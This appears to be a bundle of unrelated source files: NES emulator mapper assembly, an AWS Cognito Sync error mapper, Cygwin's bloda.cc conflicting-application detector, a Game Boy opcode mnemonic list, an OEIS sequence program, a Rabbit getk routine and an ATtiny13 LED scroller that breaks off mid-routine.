ls_gp(lw t2, prgrom_start_phys)
and t1, t0
add a1, t2, t1
ls_gp(lw a2, prgrom_last_page_phys)
ls_gp(lbu t0, uxrom_prgrom_tlb_index)
ls_gp(lw a0, uxrom_prgrom_vaddr)
// Tail call
j TLB.Map16K_2
mtc0 t0, Index
if {defined LOG_MAPPER2} {
map2_msg:
db "Mapper 2 write ",0
}
}
align(4)
|
/*
* Copyright 2010-2016 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
#include <aws/core/client/AWSError.h>
#include <aws/core/utils/HashingUtils.h>
#include <aws/cognito-sync/CognitoSyncErrors.h>
using namespace Aws::Client;
using namespace Aws::CognitoSync;
using namespace Aws::Utils;
namespace Aws
{
namespace CognitoSync
{
namespace CognitoSyncErrorMapper
{
static const int TOO_MANY_REQUESTS_HASH = HashingUtils::HashString("TooManyRequests");
static const int INVALID_PARAMETER_HASH = HashingUtils::HashString("InvalidParameter");
static const int INVALID_CONFIGURATION_HASH = HashingUtils::HashString("InvalidConfiguration");
static const int INVALID_LAMBDA_FUNCTION_OUTPUT_HASH = HashingUtils::HashString("InvalidLambdaFunctionOutput");
static const int RESOURCE_CONFLICT_HASH = HashingUtils::HashString("ResourceConflict");
static const int LAMBDA_THROTTLED_HASH = HashingUtils::HashString("LambdaThrottled");
static const int DUPLICATE_REQUEST_HASH = HashingUtils::HashString("DuplicateRequest");
static const int CONCURRENT_MODIFICATION_HASH = HashingUtils::HashString("ConcurrentModification");
static const int NOT_AUTHORIZED_HASH = HashingUtils::HashString("NotAuthorizedError");
static const int ALREADY_STREAMED_HASH = HashingUtils::HashString("AlreadyStreamed");
static const int INTERNAL_ERROR_HASH = HashingUtils::HashString("InternalError");
static const int LIMIT_EXCEEDED_HASH = HashingUtils::HashString("LimitExceeded");
AWSError<CoreErrors> GetErrorForName(const char* errorName)
{
int hashCode = HashingUtils::HashString(errorName);
if (hashCode == TOO_MANY_REQUESTS_HASH)
{
return AWSError<CoreErrors>(static_cast<CoreErrors>(CognitoSyncErrors::TOO_MANY_REQUESTS), false);
}
else if (hashCode == INVALID_PARAMETER_HASH)
{
return AWSError<CoreErrors>(static_cast<CoreErrors>(CognitoSyncErrors::INVALID_PARAMETER), false);
}
else if (hashCode == INVALID_CONFIGURATION_HASH)
{
return AWSError<CoreErrors>(static_cast<CoreErrors>(CognitoSyncErrors::INVALID_CONFIGURATION), false);
}
else if (hashCode == INVALID_LAMBDA_FUNCTION_OUTPUT_HASH)
{
return AWSError<CoreErrors>(static_cast<CoreErrors>(CognitoSyncErrors::INVALID_LAMBDA_FUNCTION_OUTPUT), false);
}
else if (hashCode == RESOURCE_CONFLICT_HASH)
{
return AWSError<CoreErrors>(static_cast<CoreErrors>(CognitoSyncErrors::RESOURCE_CONFLICT), false);
}
else if (hashCode == LAMBDA_THROTTLED_HASH)
{
return AWSError<CoreErrors>(static_cast<CoreErrors>(CognitoSyncErrors::LAMBDA_THROTTLED), false);
}
else if (hashCode == DUPLICATE_REQUEST_HASH)
{
return AWSError<CoreErrors>(static_cast<CoreErrors>(CognitoSyncErrors::DUPLICATE_REQUEST), false);
}
else if (hashCode == CONCURRENT_MODIFICATION_HASH)
{
return AWSError<CoreErrors>(static_cast<CoreErrors>(CognitoSyncErrors::CONCURRENT_MODIFICATION), false);
}
else if (hashCode == NOT_AUTHORIZED_HASH)
{
return AWSError<CoreErrors>(static_cast<CoreErrors>(CognitoSyncErrors::NOT_AUTHORIZED), false);
}
else if (hashCode == ALREADY_STREAMED_HASH)
{
return AWSError<CoreErrors>(static_cast<CoreErrors>(CognitoSyncErrors::ALREADY_STREAMED), false);
}
else if (hashCode == INTERNAL_ERROR_HASH)
{
return AWSError<CoreErrors>(static_cast<CoreErrors>(CognitoSyncErrors::INTERNAL_ERROR), true);
}
else if (hashCode == LIMIT_EXCEEDED_HASH)
{
return AWSError<CoreErrors>(static_cast<CoreErrors>(CognitoSyncErrors::LIMIT_EXCEEDED), false);
}
return AWSError<CoreErrors>(CoreErrors::UNKNOWN, false);
}
} // namespace CognitoSyncErrorMapper
} // namespace CognitoSync
} // namespace Aws
|
/* bloda.cc
This file is part of Cygwin.
This software is a copyrighted work licensed under the terms of the
Cygwin license. Please consult the file "CYGWIN_LICENSE" for
details. */
#define cygwin_internal cygwin_internal_dontuse
#include <stdio.h>
#include <assert.h>
#define WIN32_NO_STATUS /* Disable status codes in winnt.h since we include
ntstatus.h for extended status codes below. */
#include <windows.h>
#undef WIN32_NO_STATUS
#include <psapi.h>
#include <winternl.h>
#include <ntstatus.h>
#undef cygwin_internal
#undef DEBUGGING
#ifdef DEBUGGING
#define dbg_printf(ARGS) printf ARGS ; fflush (NULL)
#else /* !DEBUGGING */
#define dbg_printf(ARGS) do { } while (0)
#endif /* ?DEBUGGING */
/* This module detects applications from the Big List of Dodgy Apps,
a list of applications that have at some given time been shown to
interfere with the operation of cygwin. It detects the presence of
applications on the system by looking for any of four traces an
installation might leave: 1) registry keys, 2) files on disk
3) running executables 4) loaded dlls or drivers.
At the time of writing, the BLODA amounts to:-
Sonic Solutions burning software containing DLA component
Norton/MacAffee/Symantec antivirus or antispyware
Logitech webcam software with "Logitech process monitor" service
Kerio, Agnitum or ZoneAlarm Personal Firewall
Iolo System Mechanic/AntiVirus/Firewall
LanDesk
Windows Defender
Embassy Trust Suite fingerprint reader software containing wxvault.dll
ByteMobile laptop optimization client
A live version is now being maintained in the Cygwin FAQ, at
http://cygwin.com/faq/faq.using.html#faq.using.bloda
*/
enum bad_app
{
SONIC, NORTON, MACAFFEE, SYMANTEC,
LOGITECH, KERIO, AGNITUM, ZONEALARM,
IOLO, LANDESK, WINDEFENDER, EMBASSYTS,
BYTEMOBILE
};
struct bad_app_info
{
enum bad_app app_id;
const char *details;
char found_it;
};
enum bad_app_det_method
{
HKLMKEY, HKCUKEY, FILENAME, PROCESSNAME, HOOKDLLNAME
};
struct bad_app_det
{
enum bad_app_det_method type;
const char *param;
enum bad_app app;
};
static const struct bad_app_det dodgy_app_detects[] =
{
{ PROCESSNAME, "dlactrlw.exe", SONIC },
{ HOOKDLLNAME, "wxvault.dll", EMBASSYTS },
{ HKLMKEY, "SYSTEM\\CurrentControlSet\\Services\\vsdatant", ZONEALARM },
{ FILENAME, "%windir%\\System32\\vsdatant.sys", ZONEALARM },
{ HKLMKEY, "SYSTEM\\CurrentControlSet\\Services\\lvprcsrv", LOGITECH },
{ PROCESSNAME, "LVPrcSrv.exe", LOGITECH },
{ FILENAME, "%programfiles%\\common files\\logitech\\lvmvfm\\LVPrcSrv.exe", LOGITECH },
{ FILENAME, "%windir%\\System32\\bmnet.dll", BYTEMOBILE },
};
static const size_t num_of_detects = sizeof (dodgy_app_detects) / sizeof (dodgy_app_detects[0]);
static struct bad_app_info big_list_of_dodgy_apps[] =
{
{ SONIC, "Sonic Solutions burning software containing DLA component" },
{ NORTON, "Norton antivirus or antispyware software" },
{ MACAFFEE, "Macaffee antivirus or antispyware software" },
{ SYMANTEC, "Symantec antivirus or antispyware software" },
{ LOGITECH, "Logitech Process Monitor service" },
{ KERIO, "Kerio Personal Firewall" },
{ AGNITUM, "Agnitum Personal Firewall" },
{ ZONEALARM, "ZoneAlarm Personal Firewall" },
{ IOLO, "Iolo System Mechanic/AntiVirus/Firewall software" },
{ LANDESK, "Landesk" },
{ WINDEFENDER, "Windows Defender" },
{ EMBASSYTS, "Embassy Trust Suite fingerprint reader software containing wxvault.dll" },
{ BYTEMOBILE, "ByteMobile laptop optimization client" },
};
static const size_t num_of_dodgy_apps = sizeof (big_list_of_dodgy_apps) / sizeof (big_list_of_dodgy_apps[0]);
struct system_module_list
{
LONG count;
PVOID *pid;
PCHAR *name;
};
static PSYSTEM_PROCESS_INFORMATION
get_process_list (void)
{
int n_procs = 0x100;
PSYSTEM_PROCESS_INFORMATION pslist = (PSYSTEM_PROCESS_INFORMATION) malloc (n_procs * sizeof *pslist);
while (NtQuerySystemInformation (SystemProcessInformation,
pslist, n_procs * sizeof *pslist, 0) == STATUS_INFO_LENGTH_MISMATCH)
{
n_procs *= 2;
free (pslist);
pslist = (PSYSTEM_PROCESS_INFORMATION) malloc (n_procs * sizeof *pslist);
}
return pslist;
}
static system_module_list *
get_module_list (void)
{
DWORD modsize = 0;
system_module_list *modlist = (system_module_list *)
calloc (1, sizeof (system_module_list));
while (!EnumDeviceDrivers (modlist->pid, modsize, &modsize))
{
free (modlist->pid);
free (modlist->name);
modlist->count = modsize / sizeof (PVOID);
modlist->pid = (PVOID *) calloc (modlist->count, sizeof (PVOID));
modlist->name = (PCHAR *) calloc (modlist->count, sizeof (PCHAR));
}
for (int i = 0; i < modlist->count; ++i)
{
modlist->name[0] = (PCHAR) calloc (256, sizeof (CHAR));
GetDeviceDriverBaseNameA (modlist->pid[i], modlist->name[i], 256);
}
return modlist;
}
static bool
find_process_in_list (PSYSTEM_PROCESS_INFORMATION pslist, PUNICODE_STRING psname)
{
while (1)
{
if (pslist->ImageName.Length && pslist->ImageName.Buffer)
{
dbg_printf (("%S\n", pslist->ImageName.Buffer));
if (!_wcsicmp (pslist->ImageName.Buffer, psname->Buffer))
return true;
}
if (!pslist->NextEntryOffset)
break;
pslist = (PSYSTEM_PROCESS_INFORMATION)(pslist->NextEntryOffset + (char *)pslist);
};
return false;
}
static bool
find_module_in_list (system_module_list * modlist, const char * const modname)
{
for (int i = 0; i < modlist->count; ++i)
{
dbg_printf (("name '%s' ", modlist->name[i]));
if (!_stricmp (modlist->name[i], modname))
return true;
}
return false;
}
static bool
expand_path (const char *path, char *outbuf)
{
char *dst = outbuf;
const char *end, *envval;
char envvar[MAX_PATH];
size_t len;
while ((dst - outbuf) < MAX_PATH)
{
if (*path != '%')
{
if ((*dst++ = *path++) != 0)
continue;
break;
}
/* Expand an environ var. */
end = path + 1;
while (*end != '%')
{
/* Watch out for unterminated % */
if (*end++ == 0)
{
end = NULL;
break;
}
}
/* If we didn't find the end, can't expand it. */
if ((end == NULL) || (end == (path + 1)))
{
/* Unterminated % so copy verbatim. */
*dst++ = *path++;
continue;
}
/* Expand the environment var into the new path. */
if ((end - (path + 1)) >= MAX_PATH)
return -1;
memcpy (envvar, path + 1, end - (path + 1));
envvar[end - (path + 1)] = 0;
envval = getenv (envvar);
/* If not found, copy env var name verbatim. */
if (envval == NULL)
{
*dst++ = *path++;
continue;
}
/* Check enough room before copying. */
len = strlen (envval);
if ((dst + len - outbuf) >= MAX_PATH)
return false;
memcpy (dst, envval, len);
dst += len;
/* And carry on past the end of env var name. */
path = end + 1;
}
return (dst - outbuf) < MAX_PATH;
}
static bool
detect_dodgy_app (const struct bad_app_det *det, PSYSTEM_PROCESS_INFORMATION pslist, system_module_list * modlist)
{
HANDLE fh;
HKEY hk;
UNICODE_STRING unicodename;
ANSI_STRING ansiname;
NTSTATUS rv;
bool found;
char expandedname[MAX_PATH];
switch (det->type)
{
case HKLMKEY:
dbg_printf (("Detect reg key hklm '%s'... ", det->param));
if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, det->param, 0, STANDARD_RIGHTS_READ, &hk) == ERROR_SUCCESS)
{
RegCloseKey (hk);
dbg_printf (("found!\n"));
return true;
}
break;
case HKCUKEY:
dbg_printf (("Detect reg key hkcu '%s'... ", det->param));
if (RegOpenKeyEx (HKEY_CURRENT_USER, det->param, 0, STANDARD_RIGHTS_READ, &hk) == ERROR_SUCCESS)
{
RegCloseKey (hk);
dbg_printf (("found!\n"));
return true;
}
break;
case FILENAME:
dbg_printf (("Detect filename '%s'... ", det->param));
if (!expand_path (det->param, expandedname))
{
printf ("Expansion failure!\n");
break;
}
dbg_printf (("('%s' after expansion)... ", expandedname));
fh = CreateFile (expandedname, 0, FILE_SHARE_READ | FILE_SHARE_WRITE
| FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
if (fh != INVALID_HANDLE_VALUE)
{
CloseHandle (fh);
dbg_printf (("found!\n"));
return true;
}
break;
case PROCESSNAME:
dbg_printf (("Detect proc name '%s'... ", det->param));
/* Equivalent of RtlInitAnsiString. */
ansiname.Length = ansiname.MaximumLength = strlen (det->param);
ansiname.Buffer = (CHAR *) det->param;
rv = RtlAnsiStringToUnicodeString (&unicodename, &ansiname, TRUE);
if (rv != STATUS_SUCCESS)
{
printf ("Ansi to unicode conversion failure $%08x\n", (unsigned int) rv);
break;
}
found = find_process_in_list (pslist, &unicodename);
RtlFreeUnicodeString (&unicodename);
if (found)
{
dbg_printf (("found!\n"));
return true;
}
break;
case HOOKDLLNAME:
dbg_printf (("Detect hookdll '%s'... ", det->param));
if (find_module_in_list (modlist, det->param))
{
dbg_printf (("found!\n"));
return true;
}
break;
}
dbg_printf (("not found.\n"));
return false;
}
static struct bad_app_info *
find_dodgy_app_info (enum bad_app which_app)
{
size_t i;
for (i = 0; i < num_of_dodgy_apps; i++)
{
if (big_list_of_dodgy_apps[i].app_id == which_app)
return &big_list_of_dodgy_apps[i];
}
return NULL;
}
/* External entrypoint called from cygcheck.cc/dump_sysinfo. */
void
dump_dodgy_apps (int verbose)
{
size_t i, n_det = 0;
PSYSTEM_PROCESS_INFORMATION pslist;
system_module_list * modlist;
/* Read system info for detect testing. */
pslist = get_process_list ();
modlist = get_module_list ();
/* Go with builtin list for now; later may enhance to
read dodgy apps from a file or download from an URL. */
for (i = 0; i < num_of_dodgy_apps; i++)
{
big_list_of_dodgy_apps[i].found_it = false;
}
for (i = 0; i < num_of_detects; i++)
{
const struct bad_app_det *det = &dodgy_app_detects[i];
struct bad_app_info *found = find_dodgy_app_info (det->app);
bool detected = detect_dodgy_app (det, pslist, modlist);
/* Not found would mean we coded the lists bad. */
assert (found);
if (detected)
{
++n_det;
found->found_it |= (1 << det->type);
}
}
if (n_det)
{
printf ("\nPotential app conflicts:\n\n");
for (i = 0; i < num_of_dodgy_apps; i++)
{
if (big_list_of_dodgy_apps[i].found_it)
{
printf ("%s%s", big_list_of_dodgy_apps[i].details,
verbose ? "\nDetected: " : ".\n");
if (!verbose)
continue;
const char *sep = "";
if (big_list_of_dodgy_apps[i].found_it & (1 << HKLMKEY))
{
printf ("HKLM Registry Key");
sep = ", ";
}
if (big_list_of_dodgy_apps[i].found_it & (1 << HKCUKEY))
{
printf ("%sHKCU Registry Key", sep);
sep = ", ";
}
if (big_list_of_dodgy_apps[i].found_it & (1 << FILENAME))
{
printf ("%sNamed file", sep);
sep = ", ";
}
if (big_list_of_dodgy_apps[i].found_it & (1 << PROCESSNAME))
{
printf ("%sNamed process", sep);
sep = ", ";
}
if (big_list_of_dodgy_apps[i].found_it & (1 << HOOKDLLNAME))
{
printf ("%sLoaded hook DLL", sep);
}
printf (".\n\n");
}
}
}
/* Tidy up allocations. */
free (pslist);
for (int i = 0; i < modlist->count; ++i)
free (modlist->name[i]);
free (modlist->name);
free (modlist->pid);
}
|
RRA
ADDAC
RES0D
SET4mHL
LDDmHL
BIT3L
LDED
ADCAD
RES2D
ORH
LDEC
XORA
INCL
RES7C
LDmHLH
INCL
RLCmHL
LDEL
LDEC
BIT0L
SET0mHL
LDCA
LDBC
RES4L
RLL
RES1H
SCF
LDEmHL
SRAL
RES4mHL
LDHD
RES4A
SRAmHL
RRCC
SET4mHL
BIT5D
LDmHLL
BIT2C
RES7H
XORE
DECA
LDLL
ANDL
CPH
LDDE
CPB
RRD
SLAD
RRA
LDHD
SET2C
LDLn
LDAH
LDLE
LDHA
LDEn
BIT3E
BIT0D
BIT2L
LDLH
BIT2C
LDDE
SWAPL
LDAmHL
BIT1C
INCD
SET2H
XORn
XORA
RLD
BIT5H
BIT5L
INCE
LDDmHL
ORA
LDHL
LDAA
LDCD
SET6E
RES2E
ANDmHL
LDmHLB
DECH
BIT1H
RRCE
LDAE
RES3B
ADCAH
ORmHL
SWAPL
LDAC
SET1B
XORE
RES3L
LDEmHL
BIT2E
BIT7L
ANDD
SRLB
LDCB
RES4H
XORE
BIT0A
LDCB
BIT4D
ADDAH
BIT0mHL
SET3L
BIT4L
SLAL
SET4mHL
RES5H
LDmHLC
ORB
LDCD
LDLL
LDEA
ADCAB
LDmDEA
RES4mHL
SLAA
BIT0H
ORC
BIT2H
LDBL
RES7D
SWAPD
LDLB
LDAmBC
ORn
CPE
BIT4mHL
LDCn
ANDD
BIT6D
SRAC
BIT2H
BIT5B
SET2H
BIT0B
DECD
SET6A
LDmBCA
LDHB
LDCD
SLAH
BIT1D
RES2E
LDHmHL
RES3mHL
ORmHL
ADCAC
LDAmBC
LDDE
ORL
RES5B
LDHH
LDAmDE
RES1mHL
ADDAB
XORB
SET6C
INCB
ADCAn
LDEB
RES0B
LDEE
LDAA
SWAPC
RES6B
LDLL
LDEL
LDHL
BIT7H
ADCAn
LDAH
LDDA
RES2B
RLC
RES5L
BIT1B
LDAC
SWAPL
ANDB
LDHC
LDLmHL
SET5A
SET5B
ADDAmHL
BIT6A
RES7L
SET0mHL
SET6A
SET5mHL
RES3A
ADDAD
DECA
SET6B
LDAL
XORC
BIT5A
BIT4D
SRLmHL
BIT2B
BIT4mHL
RES7L
LDBL
LDDEnn
CPB
RES0H
CPE
INCE
SET1E
SET2L
ANDL
BIT4B
CPH
LDDD
BIT1H
LDDEnn
ANDD
BIT4H
LDCn
RRmHL
LDDA
SET5B
SRAA
LDCmHL
RES5B
SRAL
INCE
RES0mHL
LDBL
INCD
SRLC
RES2A
SET5B
SET3D
LDCH
CCF
RRH
SRLH
CPC
ADDAH
RES5C
RES1D
RES3C
SET1E
ORn
ADCAL
ADDAA
SET7E
RES7D
LDBD
SET3mHL
RES0mHL
LDCn
RLCE
RES2C
SET3E
INCB
SET2B
BIT2E
BIT2B
LDAL
SRAA
BIT4D
ADDAmHL
ORE
SRAC
BIT5C
ANDmHL
BIT5H
RES4D
CPA
SWAPA
ANDB
LDEH
BIT4A
ADDAH
ORE
CPD
RLA
INCL
INCC
ANDB
BIT2E
LDBL
RES4E
RLC
ANDE
BIT1A
SLAD
BIT5A
LDEA
LDAmHL
LDDmHL
LDBA
LDAL
SRAA
SET7L
LDmHLD
SET0H
BIT1L
RRD
RRCA
LDmHLA
BIT0H
RES5A
LDBE
RES0A
NOT
LDEH
SET6mHL
RES0mHL
LDmHLE
LDDL
RES1E
BIT6H
ADCAC
ADDAH
BIT6mHL
RES6A
INCH
SRAA
RES2C
RRCD
RES1L
BIT1E
LDHC
XORE
DECL
RES5C
NOT
LDBE
LDCA
XORn
RES1D
XORn
LDCD
RES2A
RES0D
RES2H
ORmHL
BIT7C
RRCB
RLCL
SET4C
RES2B
XORE
DECH
BIT6D
SET7D
RRE
CPA
LDmHLH
LDEE
RES2C
LDBn
LDAE
SET3D
LDBH
RRL
SET5mHL
BIT2H
LDLB
LDLC
BIT7B
LDLA
RLCA
BIT0H
RES5L
ADDAE
ADCAB
NOP
INCB
LDDH
ADDAC
ADDAmHL
BIT5A
XORB
LDLmHL
SET6L
CPD
RES1A
LDED
CPA
NOT
BIT0H
DECA
RRCE
SWAPmHL
ANDB
INCA
RES2mHL
SRLH
SET0C
BIT0mHL
RES1A
RES0mHL
LDBmHL
SET0H
DECC
BIT0D
RES0mHL
RES5A
BIT6A
ANDH
RES4L
LDLH
SET2B
ORmHL
INCA
BIT6E
LDBL
RES1H
ADCAE
RES4E
RRCB
LDBH
DECA
ANDC
BIT5mHL
BIT4mHL
BIT2C
LDBA
ADCAmHL
RES3H
BIT5C
LDED
SET7H
SET2E
SET6A
RES4D
ORA
RES5B
ADCAC
LDBB
RLmHL
LDDH
LDEmHL
SRAA
SET7H
RES1B
RLCmHL
XORB
SRLC
LDBL
LDmHLD
RES6A
LDLn
LDAmBC
ANDE
RRA
ORE
BIT3D
LDED
SWAPmHL
INCH
ADCAE
INCH
LDBmHL
ADCAn
LDBH
LDCC
CPA
LDAC
RES1mHL
RES7C
ANDL
RES3L
ADCAmHL
BIT1C
RES7H
SRAA
LDDB
BIT1B
RRA
SLAC
BIT2B
ADDAC
ADCAD
SRAH
DECC
LDEn
ADDAn
RLCB
ANDL
SCF
LDAD
LDmHLB
RLCH
SET6C
RES1A
LDLn
ADCAn
XORB
LDHA
ADDAA
LDAL
RLCA
LDEC
LDAn
LDHLnn
SET5C
SET1E
BIT5L
RLCD
ADDAmHL
LDAC
RES4D
SWAPB
BIT5mHL
ADDAn
LDEC
SRAH
LDAE
DECE
LDCB
SET5H
ADDAmHL
SET2C
LDHB
RES0A
RRE
BIT2E
ANDH
SET0B
ADDAA
LDCE
ANDC
LDDH
INCL
XORB
NOP
LDLB
LDED
ANDH
ADCAmHL
SET6mHL
SET7L
RLCE
SLAB
CCF
SET1mHL
RRCD
BIT0L
BIT5L
ADCAB
RES1D
INCH
SET3E
LDDL
BIT5L
RES0L
SET0D
RES3A
ADDAH
DECB
RES3mHL
SRAmHL
LDCn
ORD
SET6H
RES0L
RES6mHL
CPC
LDDA
RES6H
RES1B
RES0D
BIT6C
LDAmBC
SWAPE
SRLmHL
SET5H
BIT2E
SRAmHL
RES1A
BIT3H
RRA
CPE
LDBD
RES0L
ADCAn
LDAA
SET5L
ADDAH
SET2H
SET0H
LDEH
NOP
SET5L
LDEL
RES3D
SET4D
LDBA
ANDH
RLCA
XORC
LDHD
RRA
ADCAD
SET1A
SET6B
ANDC
CPA
BIT3L
ADCAL
SET4A
RES0A
LDmHLD
LDLB
ADDAL
ANDL
XORC
BIT4L
CPB
ORL
BIT6H
LDBmHL
RRCC
SET7H
BIT4L
ADDAn
LDEH
SET2mHL
SRAC
ANDE
LDDH
SET1L
DECA
BIT5B
ORD
RES5B
SRLL
LDBH
LDDE
BIT6D
BIT5A
LDHD
LDHE
RES1D
ORB
RRD
ADCAL
RES4L
BIT7H
RES1H
SET5A
BIT5L
LDBmHL
RES5B
SET2E
BIT5A
ANDn
LDCC
XORH
RES1A
BIT3C
RES7L
LDED
RES3C
SLAC
SRAH
ORH
SET6L
LDmDEA
RRCL
CPE
RLCA
SET0L
RES7L
RES7L
LDLmHL
LDLE
CPD
LDLn
LDLB
SET3D
LDAE
ADCAL
INCL
RES4C
BIT7B
LDLn
SRAL
LDAC
BIT7E
LDHmHL
RLC
CPD
CPH
SET0E
ADDAD
LDBmHL
SET1E
ADDAA
ORB
SET2B
RES0L
LDDA
BIT4A
RES0A
SET5L
SWAPC
SET0E
ANDA
LDLmHL
DECE
CPH
BIT6B
LDDEnn
ORD
LDAmBC
RES5L
SET1H
LDHn
RRCB
BIT4B
RRCmHL
SET0C
BIT0D
BIT6mHL
XORE
BIT2A
BIT0C
ORA
RLCH
SET5A
ORH
LDDn
XORH
RRL
XORA
RES7D
LDLH
LDAA
BIT1L
LDEH
ADDAA
LDDD
LDED
BIT0E
LDEB
XORn
ORmHL
LDEC
RES2L
BIT6A
ANDC
SET4A
RES6C
SET6C
SET5E
SWAPH
DECC
CPL
RES7A
INCB
BIT6L
LDBL
LDBH
LDBn
ADDAmHL
LDAL
SLAmHL
SLAH
LDDEnn
LDEB
RES5mHL
LDHmHL
BIT5A
RES6L
BIT1H
LDAL
SET2E
SRAH
ADDAD
LDCA
BIT1E
BIT2D
LDCD
NOP
LDmHLA
LDmHLC
LDLE
SET7mHL
ADCAE
LDLn
SET6L
RES3L
RRB
SET5L
SET2H
RES3L
ADDAn
SET7B
LDEA
CPH
BIT1D
SET3A
LDDmHL
SET6D
BIT0A
BIT6C
SET0D
LDDC
RES0H
SET7mHL
RES1L
RLC
LDBC
SET4L
ADCAD
LDBmHL
LDDE
ORH
BIT3mHL
SET4L
BIT1D
SET2B
ANDD
LDHmHL
LDAD
LDEL
SET4L
RRCC
SET1B
LDmHLL
RES6D
LDBmHL
LDEC
RES5mHL
ORB
SET2D
XORn
DECA
LDAE
INCC
LDmHLC
LDBH
SLAH
DECE
RES2E
LDEB
RES1B
ANDB
SET2A
RLCB
RES2B
ANDA
SET6D
ADCAE
SWAPD
SET2D
SRLL
ADDAD
RES4mHL
RES2A
SRLD
LDmBCA
BIT0mHL
RES6C
SET3L
BIT1D
RES0mHL
LDAC
BIT2A
ADCAH
CPA
LDLB
ADCAL
LDLB
BIT0C
SET2H
ADCAB
BIT3B
RRA
SRAL
LDHmHL
LDAn
LDLH
ANDE
BIT6H
LDmHLE
LDAD
LDEL
BIT5L
ADDAB
XORH
SET7H
CPA
LDDEnn
BIT2L
SRLE
BIT7D
SLAC
BIT2D
LDCD
ORA
BIT1L
ORL
BIT5C
RES7mHL
ADCAn
LDEA
RES1A
LDBE
SET3mHL
LDAC
ORmHL
RES3B
ORH
INCA
RES3E
RES3L
RES4B
SET3D
BIT5L
LDDC
SET0D
SLAB
ADDAE
DECA
LDDA
LDLB
ADCAn
XORH
LDBB
LDmHLB
LDDEnn
XORmHL
DECL
BIT7C
XORA
LDHmHL
LDDD
RLA
SET5A
SET4L
SET0E
SLAL
RRCD
ADDAH
SET3A
SRLL
RLCB
LDAH
LDCL
BIT0D
LDDL
XORC
RRCA
RES1D
ANDH
LDDC
BIT1E
SLAH
LDDEnn
LDBL
RLA
RRCC
SET1C
DECL
CPA
RES2A
BIT1E
RRD
ADCAA
ANDE
BIT1D
LDCE
LDEC
SCF
RLCL
CPB
ANDn
LDCH
LDHD
LDDE
RES2C
SET4B
RES0B
ANDC
SLAA
SWAPL
LDHLnn
ANDA
BIT4D
ADCAB
RRCD
RES4D
SLAH
ORmHL
RES3D
DECB
LDAE
BIT0D
BIT2C
ORmHL
STOP
|
; A166711: Permutation of the integers: two positives, one negative.
; 0,1,2,-1,3,4,-2,5,6,-3,7,8,-4,9,10,-5,11,12,-6,13,14,-7,15,16,-8,17,18,-9,19,20,-10,21,22,-11,23,24,-12,25,26,-13,27,28,-14,29,30,-15,31,32,-16,33,34,-17,35,36,-18,37,38,-19,39,40,-20,41,42,-21,43,44,-22,45,46,-23,47,48,-24,49,50,-25,51,52,-26,53,54,-27,55,56,-28,57,58,-29,59,60,-30,61,62,-31,63,64,-32,65,66,-33
mov $1,$0
mul $1,2
dif $1,3
trn $1,$0
sub $2,$0
div $2,3
add $1,$2
mov $0,$1
|
;
; RCM2/3000 Stdio
;
; $Id: getk.asm,v 1.3 2016-06-12 17:32:01 dom Exp $
;
SECTION code_clib
PUBLIC getk
PUBLIC _getk
EXTERN rcmx000_cnvtab
EXTERN __recvchar
.getk
._getk
; extern int __LIB__ fgetc(FILE *fp);
; return result in HL, when done
; We ignore FILE* fp (in BC) for now
call __recvchar
ld h,0
ld l,a
ret
|
.include "myTiny13.h"
.equ SCROLLSPEED, 40
; This Programm analysed 2 bytes to make a sequence of numbers
; who represents the LEDs, which have to be ON :
;
; Positions (0=off)
; ---------------------
; 11,10, 9, 8
; 15,14,13,12
; 23,22,21,20
; 19,18,17,16
; Register to Load up- and down-Byte
U = 18
D = 19
; Like up- and down-Byte, but used for a LetterMix
H = 21
L = 23
Main:
;initial values
ldi A, 0b00011111 ; up , down / 7 - 0
out DDRB, A
; start mix
ldi ZL, lo8(SY_SPACE)
ldi ZH, hi8(SY_SPACE)
rcall Preload1
ldi ZL, lo8(SY_W)
ldi ZH, hi8(SY_W)
rcall Preload2
rcall MixIt
; end mix
; start mix
ldi ZL, lo8(SY_W)
ldi ZH, hi8(SY_W)
rcall Preload1
ldi ZL, lo8(SY_ee)
ldi ZH, hi8(SY_ee)
rcall Preload2
rcall MixIt
; end mix
; start mix
ldi ZL, lo8(SY_ee)
ldi ZH, hi8(SY_ee)
rcall Preload1
ldi ZL, lo8(SY_ll)
ldi ZH, hi8(SY_ll)
rcall Preload2
rcall MixIt
; end mix
; start mix
ldi ZL, lo8(SY_ll)
ldi ZH, hi8(SY_ll)
rcall Preload1
ldi ZL, lo8(SY_tt)
ldi ZH, hi8(SY_tt)
rcall Preload2
rcall MixIt
; end mix
; start mix
ldi ZL, lo8(SY_tt)
ldi ZH, hi8(SY_tt)
rcall Preload1
ldi ZL, lo8(SY_SPACE)
ldi ZH, hi8(SY_SPACE)
rcall Preload2
rcall MixIt
; end mix
rjmp Main
;subroutine +++++++++++++++++++++++++++++++++++++++++++++++++
; Example Byte U and H
; <<
; 7654 7654
; 3210 3210
; D L
MixIt:
; Show unchanged
rcall Show
; make a single clear space
lsl U ; result Letter(Up Byte) move left
lsl D ; result Letter(down Byte) move left
cbr U,0b00010000 ; clear U(0)
cbr D,0b00010000 ; clear D(0)
rcall Show
ldi N,3 ; loop only through 3 columns !!!
NextStep:
ldi A,0b10000000 ; routine for U(3) := H(7)
and A,H ; if Zero, then the bit was set!
brne SetU3
cbr U,0b00001000 ; clear U(3)
rjmp U3Ready
SetU3:
sbr U,0b00001000
U3Ready:
lsl U ; result Letter(Up Byte) move left
lsl H ; source Letter(Up Byte) move left
ldi A,0b00010000 ; routine for U(0) := H(4)
and A,H ; if Zero, then the bit was set!
brne SetU0
cbr U,0b00000001 ; clear U(0)
rjmp U0Ready
SetU0:
sbr U,0b00000001
U0Ready:
; and now :-/ the same for the 2nd byte
ldi A,0b10000000 ; routine for D(3) := L(7)
and A,L ; if Zero, then the bit was set!
brne SetD3
cbr D,0b00001000 ; clear D(3)
rjmp D3Ready
SetD3:
sbr D,0b00001000
D3Ready:
lsl D ; result Letter(down Byte) move left
lsl L ; source Letter(down Byte) move left
ldi A,0b00010000 ; routine for D(0) := L(4)
and A,L ; if Zero, then the bit was set!
brne SetD0
cbr D,0b00000001 ; clear D(0)
rjmp D0Ready
SetD0:
sbr D,0b00000001
D0Ready:
